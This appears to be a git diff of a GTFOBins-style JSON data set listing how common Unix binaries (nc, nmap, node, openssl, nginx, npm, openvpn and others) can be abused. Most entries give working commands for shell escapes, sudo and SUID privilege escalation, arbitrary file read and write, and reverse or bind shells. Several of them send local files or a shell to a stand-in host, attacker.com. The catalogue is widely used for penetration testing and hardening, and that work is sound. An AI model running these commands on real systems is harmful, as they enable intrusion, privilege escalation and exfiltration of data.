"limited-suid": [ { - "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell. This only works with netcat traditional.", - "code": "./nc -e /bin/sh [host] [port]\n" + "description": "Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional.", + "code": "RHOST=attacker.com\nRPORT=12345\n./nc -e /bin/sh $RHOST $RPORT\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/ncdu.json b/gtfo/data/ncdu.json new file mode 100644 index 0000000..5309c48 --- /dev/null +++ b/gtfo/data/ncdu.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "ncdu\nb\n" + } + ], + "sudo": [ + { + + "code": "sudo ncdu\nb\n" + } + ], + "limited-suid": [ + { + + "code": "./ncdu\nb\n" + } + ] + } +} diff --git a/gtfo/data/ncftp.json b/gtfo/data/ncftp.json new file mode 100644 index 0000000..65f6b9d --- /dev/null +++ b/gtfo/data/ncftp.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "ncftp\n!/bin/sh\n" + } + ], + "suid": [ + { + + "code": "./ncftp\n!/bin/sh -p\n" + } + ], + "sudo": [ + { + + "code": "sudo ncftp\n!/bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/neofetch.json b/gtfo/data/neofetch.json new file mode 100644 index 0000000..f45c3b1 --- /dev/null +++ b/gtfo/data/neofetch.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "TF=$(mktemp)\necho 'exec /bin/sh' >$TF\nneofetch --config $TF\n" + } + ], + "file-read": [ + { + "description": "The file content is used as the logo while some other information is displayed on its right, thus it might not be suitable to read arbitray binary files.", + "code": "LFILE=file_to_read\nneofetch --ascii $LFILE\n" + } + ], + "sudo": [ + { + + "code": "TF=$(mktemp)\necho 'exec /bin/sh' >$TF\nsudo neofetch --config $TF\n" + } + ] + } +} diff --git a/gtfo/data/nft.json b/gtfo/data/nft.json new file mode 100644 index 0000000..2fa4b2c --- /dev/null +++ b/gtfo/data/nft.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nnft -f \"$LFILE\"\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\n./nft -f \"$LFILE\"\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo nft -f \"$LFILE\"\n" + } + ] + } +} diff --git a/gtfo/data/nginx.json b/gtfo/data/nginx.json new file mode 100644 index 0000000..1edf072 --- /dev/null +++ b/gtfo/data/nginx.json @@ -0,0 +1,22 @@ +{ + "functions": { + "sudo": [ + { + "description": "This will start a nginx webserver on the specified port. This will provide read/write access to all files on the system. The file path must be absolute.", + "code": "PORT=1337\nLFILE=file_to_read\nTFC=$(mktemp)\ncat > $TFC << EOF\nuser root;\nevents {\n worker_connections 1024;\n}\nhttp {\n server {\n listen $PORT;\n root /;\n autoindex on;\n dav_methods PUT;\n }\n}\nEOF\nsudo nginx -c $TFC\ncurl -s http://localhost:$PORT$LFILE\n" + } + ], + "file-read": [ + { + "description": "This will start a nginx webserver on the specified port. This will provide read/write access to all files on the system. The file path must be absolute.", + "code": "PORT=1337\nLFILE=file_to_read\nTFC=$(mktemp)\ncat > $TFC << EOF\nuser root;\nevents {\n worker_connections 1024;\n}\nhttp {\n server {\n listen $PORT;\n root /;\n autoindex on;\n dav_methods PUT;\n }\n}\nEOF\nsudo nginx -c $TFC\ncurl -s http://localhost:$PORT$LFILE\n" + } + ], + "file-write": [ + { + "description": "This will start a nginx webserver on the specified port. This will provide read/write access to all files on the system. The file path must be absolute.", + "code": "PORT=1337\nLFILE=file_to_write\nTF=$(mktemp)\necho DATA >$TF\nTFC=$(mktemp)\ncat > $TFC << EOF\nuser root;\nevents {\n worker_connections 1024;\n}\nhttp {\n server {\n listen $PORT;\n root /;\n autoindex on;\n dav_methods PUT;\n }\n}\nEOF\nsudo nginx -c $TFC\ncurl -X PUT http://localhost:$PORT$LFILE -d @$TF\n" + } + ] + } +} diff --git a/gtfo/data/nice.json b/gtfo/data/nice.json index f380f55..b1423a0 100644 --- a/gtfo/data/nice.json +++ b/gtfo/data/nice.json @@ -2,18 +2,21 @@ "functions": { "shell": [ { - "code": "nice /bin/sh" + + "code": "nice /bin/sh\n" } ], "suid": [ { - "code": "./nice /bin/sh -p" + + "code": "./nice /bin/sh -p\n" } ], "sudo": [ { - "code": "sudo nice /bin/sh" + + "code": "sudo nice /bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/nl.json b/gtfo/data/nl.json index 749e669..ab4ece9 100644 --- a/gtfo/data/nl.json +++ b/gtfo/data/nl.json @@ -1,20 +1,22 @@ { - "description": "The read file content is corrupted by a leading space added to each line.", "functions": { "file-read": [ { - "code": "nl -bn -w1 -s '' [file]\n" + + "code": "LFILE=file_to_read\nnl -bn -w1 -s '' $LFILE\n" } ], "suid": [ { - "code": "./nl -bn -w1 -s '' [file]\n" + + "code": "LFILE=file_to_read\n./nl -bn -w1 -s '' $LFILE\n" } ], "sudo": [ { - "code": "sudo nl -bn -w1 -s '' [file]\n" + + "code": "LFILE=file_to_read\nsudo nl -bn -w1 -s '' $LFILE\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/nm.json b/gtfo/data/nm.json new file mode 100644 index 0000000..bb89e46 --- /dev/null +++ b/gtfo/data/nm.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nnm @$LFILE\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\n./nm @$LFILE\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo nm @$LFILE\n" + } + ] + } +} diff --git a/gtfo/data/nmap.json b/gtfo/data/nmap.json index 82ff4bf..db3fb57 100644 --- a/gtfo/data/nmap.json +++ b/gtfo/data/nmap.json @@ -12,48 +12,54 @@ ], "non-interactive-reverse-shell": [ { - "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.", - "code": "TF=$(mktemp)\necho 'local s=require(\"socket\");\nlocal t=assert(s.tcp());\nt:connect(\"[host]\",[port]);\nwhile true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\nend;\nf:close();t:close();' > $TF\nnmap --script=$TF\n" + "description": "Run ``nc -l -p 12345`` on the attacker box to receive the shell.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nTF=$(mktemp)\necho 'local s=require(\"socket\");\nlocal t=assert(s.tcp());\nt:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\nwhile true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\nend;\nf:close();t:close();' > $TF\nnmap --script=$TF\n" } ], "non-interactive-bind-shell": [ { - "description": "Run 'nc [host] [port]' on the attacker box to connect to the shell.", - "code": "TF=$(mktemp)\necho 'local k=require(\"socket\");\nlocal s=assert(k.bind(\"*\",[port]));\nlocal c=s:accept();\nwhile true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\nend;c:close();f:close();' > $TF\nnmap --script=$TF\n" + "description": "Run `nc target.com 12345` on the attacker box to connect to the shell.", + "code": "export LPORT=12345\nTF=$(mktemp)\necho 'local k=require(\"socket\");\nlocal s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\nlocal c=s:accept();\nwhile true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\nend;c:close();f:close();' > $TF\nnmap --script=$TF\n" } ], "file-upload": [ { - "description": "Send a local file via TCP. Run 'socat -v tcp-listen:8080,reuseaddr,fork -' on the attacker box to collect the file or use a proper HTTP server. Note that multiple connections are made to the server. Also, it is important that the port is a commonly used HTTP like 80 or 8080.", - "code": "nmap -p [port] [host] --script http-put --script-args http-put.url=/,http-put.file=[file]\n" + "description": "Send a local file via TCP. Run `socat -v tcp-listen:8080,reuseaddr,fork - on the attacker box to collect the file or use a proper HTTP server. Note that multiple connections are made to the server. Also, it is important that the port is a commonly used HTTP like 80 or 8080.", + "code": "RHOST=attacker.com\nRPORT=8080\nLFILE=file_to_send\nnmap -p $RPORT $RHOST --script http-put --script-args http-put.url=/,http-put.file=$LFILE\n" }, { - "description": "Send a local file via TCP. Run 'nc -l -p [port] > [file]' on the attacker box to collect the file.", - "code": "TF=$(mktemp)\necho 'local f=io.open(\"[file]\", 'rb')\nlocal d=f:read(\"*a\")\nio.close(f);\nlocal s=require(\"socket\");\nlocal t=assert(s.tcp());\nt:connect(\"[host]\",[port]);\nt:send(d);\nt:close();' > $TF\nnmap --script=$TF\n" + "description": "Send a local file via TCP. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_send\nTF=$(mktemp)\necho 'local f=io.open(os.getenv(\"LFILE\"), 'rb')\nlocal d=f:read(\"*a\")\nio.close(f);\nlocal s=require(\"socket\");\nlocal t=assert(s.tcp());\nt:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\nt:send(d);\nt:close();' > $TF\nnmap --script=$TF\n" } ], "file-download": [ { - "description": "Fetch a remote file via TCP. Run a proper HTTP server on the attacker box to send the file, e.g., 'php -S 0.0.0.0:8080'. Note that multiple connections are made to the server and the result is placed in '$TF/IP/PORT/PATH'. Also, it is important that the port is a commonly used HTTP like 80 or 8080.", - "code": "TF=$(mktemp -d)\nnmap -p [port] [host] --script http-fetch --script-args http-fetch.destination=$TF,http-fetch.url=[file]\n" + "description": "Fetch a remote file via TCP. Run a proper HTTP server on the attacker box to send the file, e.g., `php -S 0.0.0.0:8080`. Note that multiple connections are made to the server and the result is placed in `$TF/IP/PORT/PATH`. Also, it is important that the port is a commonly used HTTP like 80 or 8080.", + "code": "RHOST=attacker.com\nRPORT=8080\nTF=$(mktemp -d)\nLFILE=file_to_save\nnmap -p $RPORT $RHOST --script http-fetch --script-args http-fetch.destination=$TF,http-fetch.url=$LFILE\n" }, { - "description": "Fetch a remote file via TCP. Run 'nc [host] [port] < [file]' on the attacker box to send the file.", - "code": "TF=$(mktemp)\necho 'local k=require(\"socket\");\nlocal s=assert(k.bind(\"*\",[port]));\nlocal c=s:accept();\nlocal d,x=c:receive(\"*a\");\nc:close();\nlocal f=io.open(\"[file]\", \"wb\");\nf:write(d);\nio.close(f);' > $TF\nnmap --script=$TF\n" + "description": "Fetch a remote file via TCP. Run `nc target.com 12345 < \"file_to_send\"` on the attacker box to send the file.", + "code": "export LPORT=12345\nexport LFILE=file_to_save\nTF=$(mktemp)\necho 'local k=require(\"socket\");\nlocal s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\nlocal c=s:accept();\nlocal d,x=c:receive(\"*a\");\nc:close();\nlocal f=io.open(os.getenv(\"LFILE\"), \"wb\");\nf:write(d);\nio.close(f);' > $TF\nnmap --script=$TF\n" } ], "file-write": [ { - "code": "TF=$(mktemp)\necho 'local f=io.open(\"[file]\", \"wb\"); f:write(\"[data]\"); io.close(f);' > $TF\nnmap --script=$TF\n" + "description": "", + "code": "TF=$(mktemp)\necho 'local f=io.open(\"file_to_write\", \"wb\"); f:write(\"data\"); io.close(f);' > $TF\nnmap --script=$TF\n" }, { "description": "The payload appears inside the regular nmap output.", - "code": "nmap -oG=[file] [data]\n" + "code": "LFILE=file_to_write\nnmap -oG=$LFILE DATA\n" } ], "file-read": [ { - "code": "TF=$(mktemp)\necho 'local f=io.open(\"[file]\", \"rb\"); print(f:read(\"*a\")); io.close(f);' > $TF\nnmap --script=$TF\n" + "description": "", + "code": "TF=$(mktemp)\necho 'local f=io.open(\"file_to_read\", \"rb\"); print(f:read(\"*a\")); io.close(f);' > $TF\nnmap --script=$TF\n" + }, + { + "description": "The file is actually parsed as a list of hosts/networks, lines are leaked through error messages.", + "code": "nmap -iL file_to_read\n" } ], "sudo": [ @@ -73,9 +79,13 @@ } ], "suid": [ + { + "description": "Works on older nmap versions.", + "code": "./nmap --interactive\n!sh\n" + }, { "description": "The payload appears inside the regular nmap output.", - "code": "./nmap -oG=[file] [data]\n" + "code": "LFILE=file_to_write\n./nmap -oG=$LFILE DATA\n" } ] } diff --git a/gtfo/data/node.json b/gtfo/data/node.json index 416cbf6..b8d8e7e 100644 --- a/gtfo/data/node.json +++ b/gtfo/data/node.json @@ -2,56 +2,62 @@ "functions": { "shell": [ { - "code": "node -e 'child_process.spawn(\"/bin/sh\", {stdio: [0, 1, 2]})'\n" + + "code": "node -e 'require(\"child_process\").spawn(\"/bin/sh\", {stdio: [0, 1, 2]})'\n" } ], "file-write": [ { - "code": "node -e 'fs.writeFileSync(\"file_to_write\", \"DATA\")'" + + "code": "node -e 'require(\"fs\").writeFileSync(\"file_to_write\", \"DATA\")'\n" } ], "file-read": [ { - "code": "node -e 'process.stdout.write(fs.readFileSync(\"/bin/ls\"))'" + + "code": "node -e 'process.stdout.write(require(\"fs\").readFileSync(\"/bin/ls\"))'\n" } ], "file-download": [ { "description": "Fetch a remote file via HTTP GET request.", - "code": "node -e 'http.get([host], res => res.pipe(fs.createWriteStream([file])))'\n" + "code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\nnode -e 'require(\"http\").get(process.env.URL, res => res.pipe(require(\"fs\").createWriteStream(process.env.LFILE)))'\n" } ], "file-upload": [ { "description": "Send a local file via HTTP POST request.", - "code": "node -e 'fs.createReadStream([file]).pipe(http.request([host]))'\n" + "code": "export URL=http://attacker.com\nexport LFILE=file_to_send\nnode -e 'require(\"fs\").createReadStream(process.env.LFILE).pipe(require(\"http\").request(process.env.URL))'\n" } ], "reverse-shell": [ { - "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.", - "code": "node -e 'sh = child_process.spawn(\"/bin/sh\");\nnet.connect([port], [host], function () {\n this.pipe(sh.stdin);\n sh.stdout.pipe(this);\n sh.stderr.pipe(this);\n})'\n" + "description": "Run `nc -l -p 12345` on the attacker box to receive the shell.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nnode -e 'sh = require(\"child_process\").spawn(\"/bin/sh\");\nrequire(\"net\").connect(process.env.RPORT, process.env.RHOST, function () {\n this.pipe(sh.stdin);\n sh.stdout.pipe(this);\n sh.stderr.pipe(this);\n})'\n" } ], "bind-shell": [ { - "description": "Run 'nc [host] [port]' on the attacker box to connect to the shell.", - "code": "node -e 'sh = child_process.spawn(\"/bin/sh\");\nnet.createServer(function (client) {\n client.pipe(sh.stdin);\n sh.stdout.pipe(client);\n sh.stderr.pipe(client);\n}).listen([port])'\n" + "description": "Run `nc target.com 12345` on the attacker box to connect to the shell.", + "code": "export LPORT=12345\nnode -e 'sh = require(\"child_process\").spawn(\"/bin/sh\");\nrequire(\"net\").createServer(function (client) {\n client.pipe(sh.stdin);\n sh.stdout.pipe(client);\n sh.stderr.pipe(client);\n}).listen(process.env.LPORT)'\n" } ], "suid": [ { - "code": "./node -e 'child_process.spawn(\"/bin/sh\", [\"-p\"], {stdio: [0, 1, 2]})'\n" + + "code": "./node -e 'require(\"child_process\").spawn(\"/bin/sh\", [\"-p\"], {stdio: [0, 1, 2]})'\n" } ], "sudo": [ { - "code": "sudo node -e 'child_process.spawn(\"/bin/sh\", {stdio: [0, 1, 2]})'\n" + + "code": "sudo node -e 'require(\"child_process\").spawn(\"/bin/sh\", {stdio: [0, 1, 2]})'\n" } ], "capabilities": [ { - "code": "./node -e 'process.setuid(0); child_process.spawn(\"/bin/sh\", {stdio: [0, 1, 2]})'\n" + + "code": "./node -e 'process.setuid(0); require(\"child_process\").spawn(\"/bin/sh\", {stdio: [0, 1, 2]})'\n" } ] } diff --git a/gtfo/data/nohup.json b/gtfo/data/nohup.json index 6062196..462d376 100644 --- a/gtfo/data/nohup.json +++ b/gtfo/data/nohup.json @@ -2,22 +2,26 @@ "functions": { "shell": [ { - "code": "nohup /bin/sh -c \"sh <$(tty) >$(tty) 2>$(tty)\"" + + "code": "nohup /bin/sh -c \"sh <$(tty) >$(tty) 2>$(tty)\"\n" } ], "command": [ { - "code": "nohup \"[command]\"\ncat nohup.out\n" + + "code": "COMMAND='/usr/bin/id'\nnohup \"$COMMAND\"\ncat nohup.out\n" } ], - "sudo": [ + "suid": [ { - "code": "sudo nohup /bin/sh -c \"sh <$(tty) >$(tty) 2>$(tty)\"" + + "code": "./nohup /bin/sh -p -c \"sh -p <$(tty) >$(tty) 2>$(tty)\"\n" } ], - "suid": [ + "sudo": [ { - "code": "./nohup /bin/sh -p -c \"sh -p <$(tty) >$(tty) 2>$(tty)\"" + + "code": "sudo nohup /bin/sh -c \"sh <$(tty) >$(tty) 2>$(tty)\"\n" } ] } diff --git a/gtfo/data/npm.json b/gtfo/data/npm.json index 31c0838..3b02af6 100644 --- a/gtfo/data/npm.json +++ b/gtfo/data/npm.json @@ -2,11 +2,17 @@ "functions": { "shell": [ { + + "code": "npm exec /bin/sh\n" + }, + { + "description": "Additionally, arbitrary script names can be used in place of `preinstall` and triggered by name with, e.g., `npm -C $TF run preinstall`.", "code": "TF=$(mktemp -d)\necho '{\"scripts\": {\"preinstall\": \"/bin/sh\"}}' > $TF/package.json\nnpm -C $TF i\n" } ], "sudo": [ { + "description": "Additionally, arbitrary script names can be used in place of `preinstall` and triggered by name with, e.g., `npm -C $TF run preinstall`.", "code": "TF=$(mktemp -d)\necho '{\"scripts\": {\"preinstall\": \"/bin/sh\"}}' > $TF/package.json\nsudo npm -C $TF --unsafe-perm i\n" } ] diff --git a/gtfo/data/nroff.json b/gtfo/data/nroff.json index b9756c2..28733e8 100644 --- a/gtfo/data/nroff.json +++ b/gtfo/data/nroff.json @@ -3,16 +3,18 @@ "file-read": [ { "description": "The file is typeset and some warning messages may appear.", - "code": "nroff [file]\n" + "code": "LFILE=file_to_read\nnroff $LFILE\n" } ], "shell": [ { + "code": "TF=$(mktemp -d)\necho '#!/bin/sh' > $TF/groff\necho '/bin/sh' >> $TF/groff\nchmod +x $TF/groff\nGROFF_BIN_PATH=$TF nroff\n" } ], "sudo": [ { + "code": "TF=$(mktemp -d)\necho '#!/bin/sh' > $TF/groff\necho '/bin/sh' >> $TF/groff\nchmod +x $TF/groff\nsudo GROFF_BIN_PATH=$TF nroff\n" } ] diff --git a/gtfo/data/nsenter.json b/gtfo/data/nsenter.json index 96bf0b5..1b930f1 100644 --- a/gtfo/data/nsenter.json +++ b/gtfo/data/nsenter.json @@ -2,13 +2,15 @@ "functions": { "shell": [ { - "code": "nsenter /bin/sh" + + "code": "nsenter /bin/sh\n" } ], "sudo": [ { - "code": "sudo nsenter /bin/sh" + + "code": "sudo nsenter /bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/ntpdate.json b/gtfo/data/ntpdate.json new file mode 100644 index 0000000..1db600e --- /dev/null +++ b/gtfo/data/ntpdate.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nntpdate -a x -k $LFILE -d localhost\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo ntpdate -a x -k $LFILE -d localhost\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\n./ntpdate -a x -k $LFILE -d localhost\n" + } + ] + } +} diff --git a/gtfo/data/nvim.json b/gtfo/data/nvim.json new file mode 100644 index 0000000..cbb95e5 --- /dev/null +++ b/gtfo/data/nvim.json @@ -0,0 +1,16 @@ +{ + "functions": { + "command": [ + { + "description": "", + "code": "COMMAND=id\nnvim -c ':!'$COMMAND\n" + } + ], + "sudo": [ + { + "description": "", + "code": "sudo nvim -c ':terminal'\n" + } + ] + } +} diff --git a/gtfo/data/octave-cli.json b/gtfo/data/octave-cli.json deleted file mode 100644 index 13a7994..0000000 --- a/gtfo/data/octave-cli.json +++ /dev/null @@ -1,30 +0,0 @@ -{ - "description": "The payloads are compatible with GUI.", - "functions": { - "shell": [ - { - "code": "octave-cli --eval 'system(\"/bin/sh\")'" - } - ], - "file-write": [ - { - "code": "octave-cli --eval 'filename = \"[file]\"; fid = fopen(filename, \"w\"); fputs(fid, \"[data]\"); fclose(fid);'" - } - ], - "file-read": [ - { - "code": "octave-cli --eval 'format none; fid = fopen(\"[file]\"); while(!feof(fid)); txt = fgetl(fid); disp(txt); endwhile; fclose(fid);'" - } - ], - "sudo": [ - { - "code": "sudo octave-cli --eval 'system(\"/bin/sh\")'" - } - ], - "limited-suid": [ - { - "code": "./octave-cli --eval 'system(\"/bin/sh\")'" - } - ] - } -} diff --git a/gtfo/data/octave.json b/gtfo/data/octave.json new file mode 100644 index 0000000..c566b89 --- /dev/null +++ b/gtfo/data/octave.json @@ -0,0 +1,34 @@ +{ + "functions": { + "shell": [ + { + + "code": "octave-cli --eval 'system(\"/bin/sh\")'\n" + } + ], + "file-write": [ + { + + "code": "octave-cli --eval 'filename = \"file_to_write\"; fid = fopen(filename, \"w\"); fputs(fid, \"DATA\"); fclose(fid);'\n" + } + ], + "file-read": [ + { + + "code": "octave-cli --eval 'format none; fid = fopen(\"file_to_read\"); while(!feof(fid)); txt = fgetl(fid); disp(txt); endwhile; fclose(fid);'\n" + } + ], + "sudo": [ + { + + "code": "sudo octave-cli --eval 'system(\"/bin/sh\")'\n" + } + ], + "limited-suid": [ + { + + "code": "./octave-cli --eval 'system(\"/bin/sh\")'\n" + } + ] + } +} diff --git a/gtfo/data/od.json b/gtfo/data/od.json index fade0d3..72960c8 100644 --- a/gtfo/data/od.json +++ b/gtfo/data/od.json @@ -1,20 +1,22 @@ { - "description": "Three spaces are added before each character in the read file, and non-printable chars are printed as backslash escape sequences.", "functions": { "file-read": [ { - "code": "od -An -c -w9999 [file]\n" + + "code": "LFILE=file_to_read\nod -An -c -w9999 \"$LFILE\"\n" } ], "suid": [ { - "code": "./od -An -c -w9999 [file]\n" + + "code": "LFILE=file_to_read\n./od -An -c -w9999 \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo od -An -c -w9999 [file]\n" + + "code": "LFILE=file_to_read\nsudo od -An -c -w9999 \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/openssl.json b/gtfo/data/openssl.json index e648e85..913e1b2 100644 --- a/gtfo/data/openssl.json +++ b/gtfo/data/openssl.json @@ -2,54 +2,59 @@ "functions": { "reverse-shell": [ { - "description": "To receive the shell run the following on the attacker box:\n\nopenssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\nopenssl s_server -quiet -key key.pem -cert cert.pem -port [port]\n\nCommunication between attacker and target will be encrypted.", - "code": "mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect [host]:[port] > /tmp/s; rm /tmp/s\n" + "description": "To receive the shell run the following on the attacker box:\n\n openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\n openssl s_server -quiet -key key.pem -cert cert.pem -port 12345\n\nCommunication between attacker and target will be encrypted.\n", + "code": "RHOST=attacker.com\nRPORT=12345\nmkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s\n" } ], "file-upload": [ { - "description": "To collect the file run the following on the attacker box:\n\nopenssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\nopenssl s_server -quiet -key key.pem -cert cert.pem -port [port] > [file]\n\nSend a local file via TCP. Transmission will be encrypted.", - "code": "openssl s_client -quiet -connect [host]:[port] < [file]\n" + "description": "To collect the file run the following on the attacker box:\n\n openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\n openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 > file_to_save\n\nSend a local file via TCP. Transmission will be encrypted.\n", + "code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_to_send\nopenssl s_client -quiet -connect $RHOST:$RPORT < \"$LFILE\"\n" } ], "file-download": [ { - "description": "To send the file run the following on the attacker box:\n\nopenssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\nopenssl s_server -quiet -key key.pem -cert cert.pem -port [port] < [file]\n\nFetch a file from a TCP port, transmission will be encrypted.", - "code": "openssl s_client -quiet -connect [host]:[port] > [file]\n" + "description": "To send the file run the following on the attacker box:\n\n openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\n openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 < file_to_send\n\nFetch a file from a TCP port, transmission will be encrypted.\n", + "code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_to_save\nopenssl s_client -quiet -connect $RHOST:$RPORT > \"$LFILE\"\n" } ], "file-write": [ { - "code": "echo DATA | openssl enc -out [file]\n" + + "code": "LFILE=file_to_write\necho DATA | openssl enc -out \"$LFILE\"\n" }, { - "code": "TF=$(mktemp)\necho \"DATA\" > $TF\nopenssl enc -in $TF -out [file]\n" + + "code": "LFILE=file_to_write\nTF=$(mktemp)\necho \"DATA\" > $TF\nopenssl enc -in \"$TF\" -out \"$LFILE\"\n" } ], "file-read": [ { - "code": "openssl enc -in [file]\n" + + "code": "LFILE=file_to_read\nopenssl enc -in \"$LFILE\"\n" } ], "suid": [ { - "description": "To receive the shell run the following on the attacker box:\n\nopenssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\nopenssl s_server -quiet -key key.pem -cert cert.pem -port [port]\n\nCommunication between attacker and target will be encrypted.", - "code": "mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | ./openssl s_client -quiet -connect [host]:[port] > /tmp/s; rm /tmp/s\n" + "description": "To receive the shell run the following on the attacker box:\n\n openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\n openssl s_server -quiet -key key.pem -cert cert.pem -port 12345\n\nCommunication between attacker and target will be encrypted.\n", + "code": "RHOST=attacker.com\nRPORT=12345\nmkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | ./openssl s_client -quiet -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s\n" }, { - "code": "echo DATA | openssl enc -out [file]\n" + + "code": "LFILE=file_to_write\necho DATA | openssl enc -out \"$LFILE\"\n" } ], "sudo": [ { - "description": "To receive the shell run the following on the attacker box:\n\nopenssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\nopenssl s_server -quiet -key key.pem -cert cert.pem -port [port]\n\nCommunication between attacker and target will be encrypted.", - "code": "mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | sudo openssl s_client -quiet -connect [host]:[port] > /tmp/s; rm /tmp/s\n" + "description": "To receive the shell run the following on the attacker box:\n\n openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\n openssl s_server -quiet -key key.pem -cert cert.pem -port 12345\n\nCommunication between attacker and target will be encrypted.\n", + "code": "RHOST=attacker.com\nRPORT=12345\nmkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | sudo openssl s_client -quiet -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s\n" } ], "library-load": [ { - "code": "openssl req -engine ./lib.so" + + "code": "openssl req -engine ./lib.so\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/openvpn.json b/gtfo/data/openvpn.json index e2837e2..019c8b7 100644 --- a/gtfo/data/openvpn.json +++ b/gtfo/data/openvpn.json @@ -1,27 +1,35 @@ { "functions": { + "shell": [ + { + + "code": "openvpn --dev null --script-security 2 --up '/bin/sh -c sh'\n" + } + ], "file-read": [ { "description": "The file is actually parsed and the first partial wrong line is returned in an error message.", - "code": "openvpn --config \"[file]\"\n" + "code": "LFILE=file_to_read\nopenvpn --config \"$LFILE\"\n" } ], "suid": [ { - "code": "./openvpn --dev tun0 --script-security 2 --up '/bin/sh -p -c \"sh -p\"'\n" + + "code": "./openvpn --dev null --script-security 2 --up '/bin/sh -p -c \"sh -p\"'\n" }, { "description": "The file is actually parsed and the first partial wrong line is returned in an error message.", - "code": "./openvpn --config \"[file]\"\n" + "code": "LFILE=file_to_read\n./openvpn --config \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo openvpn --dev tun0 --script-security 2 --up '/bin/sh -c sh'\n" + + "code": "sudo openvpn --dev null --script-security 2 --up '/bin/sh -c sh'\n" }, { "description": "The file is actually parsed and the first partial wrong line is returned in an error message.", - "code": "sudo openvpn --config \"[file]\"\n" + "code": "LFILE=file_to_read\nsudo openvpn --config \"$LFILE\"\n" } ] } diff --git a/gtfo/data/openvt.json b/gtfo/data/openvt.json index d9cf843..bf459ff 100644 --- a/gtfo/data/openvt.json +++ b/gtfo/data/openvt.json @@ -3,7 +3,7 @@ "sudo": [ { "description": "The command execution is blind (displayed on the virtual console), but it is possible to save the output on a temporary file.", - "code": "TF=$(mktemp -u)\nsudo openvt -- sh -c \"[command] >$TF 2>&1\"\ncat $TF\n" + "code": "COMMAND=id\nTF=$(mktemp -u)\nsudo openvt -- sh -c \"$COMMAND >$TF 2>&1\"\ncat $TF\n" } ] } diff --git a/gtfo/data/opkg.json b/gtfo/data/opkg.json new file mode 100644 index 0000000..f13fd4b --- /dev/null +++ b/gtfo/data/opkg.json @@ -0,0 +1,10 @@ +{ + "functions": { + "sudo": [ + { + "description": "It runs an interactive shell using a specially crafted Debian package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'exec /bin/sh' > $TF/x.sh\nfpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF\n```\n", + "code": "sudo opkg install x_1.0_all.deb\n" + } + ] + } +} diff --git 